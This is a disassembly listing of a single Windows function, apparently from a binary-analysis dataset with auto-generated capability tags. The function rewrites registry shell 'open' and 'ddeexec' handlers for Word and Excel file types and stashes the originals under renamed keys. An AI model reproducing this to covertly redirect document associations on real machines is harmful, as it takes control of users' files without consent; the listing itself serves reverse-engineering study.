Function at 0x413940
Capabilities:
Delete registry value
Query or enumerate registry value
Resolve function by parsing pe exports
Set registry value

Disassembly:
push 0xffffffffffffffff
push 0x4692d7
mov eax, dword fs:[0]
push eax
sub esp, 0x478
mov eax, dword [0x4896a0]
xor eax, esp
mov dword [esp + 0x474], eax
push ebx
push ebp
push esi
push edi
mov eax, dword [0x4896a0]
xor eax, esp
push eax
lea eax, [esp + 0x48c]
mov dword fs:[0], eax
mov dword [esp + 0x6c], ecx
call fcn.0042fb43
xor ecx, ecx
xor ebx, ebx
cmp eax, ebx
setne cl
cmp ecx, ebx
jne 0x41399b
push 0x80004005
call fcn.00402930
mov edx, dword [eax]
mov ecx, eax
mov eax, dword [edx + 0xc]
call eax
add eax, 0x10
mov dword [esp + 0x1c], eax
push 0x3ff
lea ecx, [esp + 0x8d]
push ebx
push ecx
mov dword [esp + 0x4a0], ebx
mov byte [esp + 0x94], bl
call fcn.00449a70
add esp, 0xc
push str..doc
lea ecx, [esp + 0x7c]
mov dword [esp + 0x24], 0x400
call fcn.00403c70
push str..docx
lea ecx, [esp + 0x80]
mov byte [esp + 0x498], 1
call fcn.00403c70
push str..xls
lea ecx, [esp + 0x84]
mov byte [esp + 0x498], 2
call fcn.00403c70
push str..xlsx
lea ecx, [esp + 0x88]
mov byte [esp + 0x498], 3
call fcn.00403c70
mov ebp, dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
lea edx, [esp + 0x78]
mov byte [esp + 0x494], 4
mov dword [esp + 0x40], ebx
mov dword [esp + 0x28], edx
lea ebx, [ebx]
mov eax, dword [esp + 0x28]
push eax
lea ecx, [esp + 0x20]
call fcn.004037f0
mov edx, dword [esp + 0x1c]
lea ecx, [esp + 0x14]
push ecx
push 0x20019
push ebx
push edx
push SysReAllocString
call ebp
cmp eax, ebx
jne 0x414221
mov edx, dword [esp + 0x14]
mov edi, dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
lea eax, [esp + 0x20]
push eax
lea ecx, [esp + 0x8c]
push ecx
push ebx
push ebx
push 0x46db5c
push edx
call edi
mov esi, eax
mov eax, dword [esp + 0x14]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
cmp esi, ebx
jne 0x414221
push str._shell
lea ecx, [esp + 0x54]
call fcn.00403c70
mov esi, eax
lea ecx, [esp + 0x88]
push ecx
lea ecx, [esp + 0x48]
mov byte [esp + 0x498], 5
call fcn.0040e600
push esi
push eax
lea edx, [esp + 0x78]
push edx
mov byte [esp + 0x4a0], 6
call fcn.004052b0
add esp, 0xc
push eax
lea ecx, [esp + 0x20]
mov byte [esp + 0x498], 7
call fcn.004037f0
mov eax, dword [esp + 0x70]
add eax, 0xfffffff0
mov byte [esp + 0x494], 6
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x413b2d
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov eax, dword [esp + 0x44]
add eax, 0xfffffff0
mov byte [esp + 0x494], 5
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x413b55
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov eax, dword [esp + 0x50]
add eax, 0xfffffff0
mov byte [esp + 0x494], 4
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x413b7d
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
push 0x400
lea ecx, [esp + 0x8c]
push ebx
push ecx
call fcn.00449a70
mov eax, dword [esp + 0x28]
add esp, 0xc
lea edx, [esp + 0x14]
push edx
push 0x20019
push ebx
push eax
push SysReAllocString
call ebp
cmp eax, ebx
jne 0x414221
mov eax, dword [esp + 0x14]
lea ecx, [esp + 0x20]
push ecx
lea edx, [esp + 0x8c]
push edx
push ebx
push ebx
push ebx
push eax
mov dword [esp + 0x38], 0x400
call edi
mov ecx, dword [esp + 0x14]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea edx, [esp + 0x88]
push edx
lea ecx, [esp + 0x28]
mov dword [esp + 0x18], ebx
call fcn.0040e600
mov eax, dword [esp + 0x24]
push str.Open
push eax
mov byte [esp + 0x49c], 8
call fcn.0044d43a
add esp, 8
cmp eax, ebx
jne 0x4141f9
push 0x46f0d4
lea ecx, [esp + 0x20]
push ecx
lea edx, [esp + 0x70]
push edx
call fcn.004038b0
add esp, 0xc
push eax
lea ecx, [esp + 0x20]
mov byte [esp + 0x498], 9
call fcn.004037f0
mov eax, dword [esp + 0x68]
add eax, 0xfffffff0
mov byte [esp + 0x494], 8
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x413c64
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
push 0x400
lea ecx, [esp + 0x8c]
push ebx
push ecx
call fcn.00449a70
add esp, 0xc
call fcn.0042fb43
xor ecx, ecx
cmp eax, ebx
setne cl
cmp ecx, ebx
je 0x413991
mov edx, dword [eax]
mov ecx, eax
mov eax, dword [edx + 0xc]
call eax
lea edi, [eax + 0x10]
mov dword [esp + 0x18], edi
push 0x46e8d8
lea ecx, [esp + 0x20]
push ecx
lea edx, [esp + 0x60]
push edx
mov byte [esp + 0x4a0], 0xa
call fcn.004038b0
mov eax, dword [eax]
add esp, 0xc
lea ecx, [esp + 0x14]
push ecx
push 0xf003f
push ebx
push eax
push SysReAllocString
call ebp
mov esi, eax
mov eax, dword [esp + 0x58]
add eax, 0xfffffff0
lea edx, [eax + 0xc]
or ecx, 0xffffffff
lock xadd dword [edx], ecx
dec ecx
test ecx, ecx
jg 0x413cf4
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov dword [esp + 0x20], 0x400
cmp esi, ebx
jne 0x413ee8
mov eax, dword [esp + 0x14]
lea ecx, [esp + 0x20]
push ecx
lea edx, [esp + 0x8c]
push edx
push ebx
push ebx
push ebx
push eax
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
lea ecx, [esp + 0x88]
push ecx
lea ecx, [esp + 0x1c]
call fcn.004039f0
mov esi, dword [esp + 0x18]
cmp dword [esi - 0xc], ebx
jl 0x413def
push 0x46f0d0
push esi
call fcn.0044c9aa
add esp, 8
cmp eax, ebx
je 0x413da0
sub eax, esi
cmp eax, ebx
jle 0x413da0
push eax
lea edx, [esp + 0x78]
push edx
lea ecx, [esp + 0x20]
call fcn.004035d0
push eax
lea ecx, [esp + 0x1c]
mov byte [esp + 0x498], 0xb
call fcn.004037f0
mov eax, dword [esp + 0x74]
add eax, 0xfffffff0
mov byte [esp + 0x494], 0xa
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x413def
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
jmp 0x413def
cmp dword [esi - 0xc], ebx
jl 0x413def
push str.___1
push esi
call fcn.0044c9aa
add esp, 8
cmp eax, ebx
je 0x413def
sub eax, esi
cmp eax, ebx
jle 0x413def
push eax
lea ecx, [esp + 0x64]
push ecx
lea ecx, [esp + 0x20]
call fcn.004035d0
push eax
lea ecx, [esp + 0x1c]
mov byte [esp + 0x498], 0xc
call fcn.004037f0
lea ecx, [esp + 0x60]
mov byte [esp + 0x494], 0xa
call fcn.00402fe0
mov esi, dword [esp + 0x28]
mov eax, dword [esi]
push str..doc
push eax
call fcn.0044a83e
add esp, 8
cmp eax, ebx
sete al
cmp al, bl
jne 0x413e5a
push str..docx
push esi
call fcn.0040e2d0
add esp, 8
test al, al
jne 0x413e5a
push 0x46f144
lea edx, [esp + 0x1c]
push edx
lea eax, [esp + 0x50]
push eax
call fcn.004038b0
add esp, 0xc
push eax
lea ecx, [esp + 0x1c]
mov byte [esp + 0x498], 0xe
call fcn.004037f0
lea ecx, [esp + 0x48]
mov byte [esp + 0x494], 0xa
call fcn.00402fe0
jmp 0x413eab
push str.__n__dde
lea ecx, [esp + 0x1c]
push ecx
lea edx, [esp + 0x54]
push edx
call fcn.004038b0
add esp, 0xc
push eax
lea ecx, [esp + 0x1c]
mov byte [esp + 0x498], 0xd
call fcn.004037f0
mov eax, dword [esp + 0x4c]
add eax, 0xfffffff0
mov byte [esp + 0x494], 0xa
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x413eab
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov edi, dword [esp + 0x18]
mov eax, dword [edi - 0xc]
mov ecx, dword [esp + 0x14]
push eax
push edi
push 1
push ebx
push 0x46db5c
push ecx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
cmp eax, ebx
je 0x413ee8
lea eax, [edi - 0x10]
mov byte [esp + 0x494], 8
lea edx, [eax + 0xc]
or ecx, 0xffffffff
lock xadd dword [edx], ecx
dec ecx
test ecx, ecx
jmp 0x4141ed
mov ecx, dword [esp + 0x14]
mov esi, dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push ecx
call esi
push 0x46e8d8
lea edx, [esp + 0x20]
push edx
lea eax, [esp + 0x34]
push eax
mov dword [esp + 0x20], ebx
call fcn.004038b0
push 0x400
lea ecx, [esp + 0x98]
push ebx
push ecx
mov byte [esp + 0x4ac], 0xf
call fcn.00449a70
mov eax, dword [esp + 0x44]
add esp, 0x18
lea edx, [esp + 0x14]
push edx
push 0xf003f
push ebx
push eax
push SysReAllocString
call ebp
mov dword [esp + 0x20], 0x400
cmp eax, ebx
jne 0x413fbe
lea ecx, [esp + 0x20]
push ecx
mov ecx, dword [esp + 0x18]
lea edx, [esp + 0x8c]
push edx
lea eax, [esp + 0x5c]
push eax
push ebx
push str.command4321
push ecx
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
cmp eax, ebx
jne 0x413fbe
mov edx, dword [esp + 0x14]
push str.command4321
push edx
call dword [sym.imp.ADVAPI32.dll_RegDeleteValueA]
lea eax, [esp + 0x88]
push eax
lea ecx, [esp + 0x38]
call fcn.0040e600
mov eax, dword [esp + 0x34]
mov ecx, dword [eax - 0xc]
mov edx, dword [esp + 0x14]
push ecx
mov ecx, dword [esp + 0x58]
push eax
push ecx
push ebx
push str.command
push edx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
lea ecx, [esp + 0x34]
call fcn.00402fe0
mov eax, dword [esp + 0x14]
push eax
call esi
push str.ddeexec1234
lea ecx, [esp + 0x20]
push ecx
lea edx, [esp + 0x64]
push edx
mov dword [esp + 0x20], ebx
call fcn.004038b0
add esp, 0xc
push eax
lea ecx, [esp + 0x30]
mov byte [esp + 0x498], 0x10
call fcn.004037f0
mov eax, dword [esp + 0x5c]
add eax, 0xfffffff0
mov byte [esp + 0x494], 0xf
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x41401a
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
call fcn.0042fb43
xor ecx, ecx
cmp eax, ebx
setne cl
cmp ecx, ebx
je 0x413991
mov edx, dword [eax]
mov ecx, eax
mov eax, dword [edx + 0xc]
call eax
add eax, 0x10
mov dword [esp + 0x38], eax
mov byte [esp + 0x494], 0x11
call fcn.0042fb43
xor ecx, ecx
cmp eax, ebx
setne cl
cmp ecx, ebx
je 0x413991
mov edx, dword [eax]
mov ecx, eax
mov eax, dword [edx + 0xc]
call eax
lea esi, [eax + 0x10]
mov dword [esp + 0x3c], esi
push 0x400
lea ecx, [esp + 0x8c]
push ebx
push ecx
mov byte [esp + 0x4a0], 0x12
call fcn.00449a70
mov eax, dword [esp + 0x38]
add esp, 0xc
lea edx, [esp + 0x14]
push edx
push 0xf003f
push ebx
push eax
push SysReAllocString
call ebp
mov dword [esp + 0x20], 0x400
cmp eax, ebx
jne 0x414152
lea ecx, [esp + 0x88]
push ecx
lea ecx, [esp + 0x3c]
call fcn.004039f0
push str.ddeexec
lea edx, [esp + 0x20]
push edx
lea eax, [esp + 0x6c]
push eax
call fcn.004038b0
add esp, 0xc
push eax
lea ecx, [esp + 0x40]
mov byte [esp + 0x498], 0x13
call fcn.004037f0
mov eax, dword [esp + 0x64]
add eax, 0xfffffff0
mov byte [esp + 0x494], 0x12
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x414111
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov esi, dword [esp + 0x3c]
lea ecx, [esp + 0x30]
push ecx
push esi
push SysReAllocString
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyA]
cmp eax, ebx
jne 0x414143
mov edx, dword [esp + 0x30]
mov eax, dword [esp + 0x14]
mov ecx, dword [esp + 0x6c]
push edx
push ebx
push 0x46db5c
push eax
call fcn.004120a0
mov ecx, dword [esp + 0x30]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov dword [esp + 0x30], ebx
mov edx, dword [esp + 0x14]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea eax, [esi - 0x10]
mov dword [esp + 0x14], ebx
mov byte [esp + 0x494], 0x11
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x414185
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov eax, dword [esp + 0x38]
add eax, 0xfffffff0
mov byte [esp + 0x494], 0xf
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x4141ad
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov eax, dword [esp + 0x2c]
add eax, 0xfffffff0
mov byte [esp + 0x494], 0xa
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x4141d5
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
lea eax, [edi - 0x10]
mov byte [esp + 0x494], 8
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x4141f9
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov eax, dword [esp + 0x24]
add eax, 0xfffffff0
mov byte [esp + 0x494], 4
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x414221
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov eax, dword [esp + 0x40]
add dword [esp + 0x28], 4
inc eax
cmp eax, 4
mov dword [esp + 0x40], eax
jl 0x413a50
push fcn.00402fe0
push 4
push 4
lea ecx, [esp + 0x84]
push ecx
mov byte [esp + 0x4a4], bl
call fcn.0044e0cc
mov eax, dword [esp + 0x1c]
add eax, 0xfffffff0
mov dword [esp + 0x494], 0xffffffff
lea edx, [eax + 0xc]
or ecx, 0xffffffff
lock xadd dword [edx], ecx
dec ecx
test ecx, ecx
jg 0x414280
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov eax, 1
mov ecx, dword [esp + 0x48c]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebp
pop ebx
mov ecx, dword [esp + 0x474]
xor ecx, esp
call fcn.00449ba6
add esp, 0x484
ret